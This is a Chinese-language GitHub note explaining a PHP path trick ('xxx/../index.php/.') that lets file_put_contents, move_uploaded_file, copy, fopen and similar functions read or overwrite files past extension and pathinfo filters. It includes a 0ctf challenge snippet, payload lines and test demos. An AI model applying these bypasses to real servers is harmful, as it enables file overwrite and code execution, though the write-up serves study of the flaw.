Skip to content

Latest commit

 

History

History
131 lines (108 loc) · 3.67 KB

特殊的文件写入技巧.md

File metadata and controls

131 lines (108 loc) · 3.67 KB

move_uploaded_file, file_put_contents,copy,readfile,file,fopen都存在的一种特殊文件名的写入技巧

$name = "index.php/.";
$name1 = "xxx/../index.php/.";

对于这两种文件名,如果我们用is_file函数判断,发现都是false,即判断为不是文件或文件不存在。

但上面这些函数判断的时候会认为$name文件不存在,但$name1文件存在,从而可能导致一些特殊的文件读取或者文件写入的漏洞。

file_put_contents()

$name = $_GET['name'];
$content = $_GET['content'];
$filename = $_FILES['file']['name'];
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
	die();
}
file_put_contents($name,$content);

paylaod:

    file_put_contents("1.php/../1.php", 'fff');
    file_put_contents("2.php/.", 'fff'); //写入新文件,无法覆盖
    file_put_contents(""xxx/../index.php/."fff"); //可以覆盖旧文件

move_uploaded_file()

0ctf 上面的一道题目

  case 'upload':
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      break;
    }
    echo 'upload file';
    if ($_FILES['file']['size'] > 100000) {
      clear($dir);
      break;
    }

    $name = $dir . $_GET["name"];
    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
      stristr(pathinfo($name)["extension"], "h")) {
      break;
    }
    echo 'pass one';
    move_uploaded_file($_FILES['file']['tmp_name'], $name);

pathinfo 函数可以用/. 来绕过,取出来的后缀为空

move_uploaded_file函数无法写入index.php/.文件,执行函数报错但可以写入xxx/../index.php/. 这样来绕过重写index.php

测试demo:

<?php
$name = "index.php/."; //覆盖index.php失败,报warning
$name1 = "xxx/../index.php/."; //覆盖index.php成功
move_uploaded_file($_FILES['file']['tmp_name'], $name1);  
?>

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
    <form action="#" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit">
    </form>
</body>
</html>

注意move_uploaded_file 会判断是否为post上传的文件。

copy

php.net上的解释

bool copy ( string $source , string $dest [, resource $context ] )

将文件从 source 拷贝到 dest。如果 dest 是一个 URL,则如果封装协议不支持覆盖已有的文件时拷贝操作会失败。

如果目标文件已存在,将会被覆盖。

test.php

$name = "./index.php";
$dest = "xxx/../ttt.php/.";
copy($name,$dest);

readfile

$name = "index.php/.";
$name1 = "xxx/../index.php/.";
readfile($name);
readfile($name1);

>>>
PHP Warning:  readfile(index.php/.): failed to open stream: No such file or directory in /mnt/hgfs/F/sublime/php/audit/4/file_put_content.php on line 8
ffffffffffff

file函数

同readfile函数

$name = "index.php/.";
$name1 = "xxx/../index.php/.";
file($name1); //$name 读文件失败

array(1) {
  [0]=>
  string(12) "ffffffffffff"
}

fopen函数

$name = "index.php/.";
$name1 = "xxx/../index.php/.";
$f = fopen($name,'w');fwrite($f,'ffff'); //报错
$f = fopen($name1,'w');fwrite($f,'ffffffffffff'); //写入成功

简要分析

通过之前大佬对file_put_contents函数的分析http://wonderkun.cc/index.html/?paged=5可知php源码的_php_stream_open_wrapper_ex函数存在问题,而上面这些函数都直接或间接调用了这个函数,导致了这种文件名可以识别成功。

move_uploaded_file 和copy函数调用了php_copy_file_ctx函数,fopen调用了php_if_fopen 这两个函数内部是调用了_php_stream_open_wrapper_ex了的。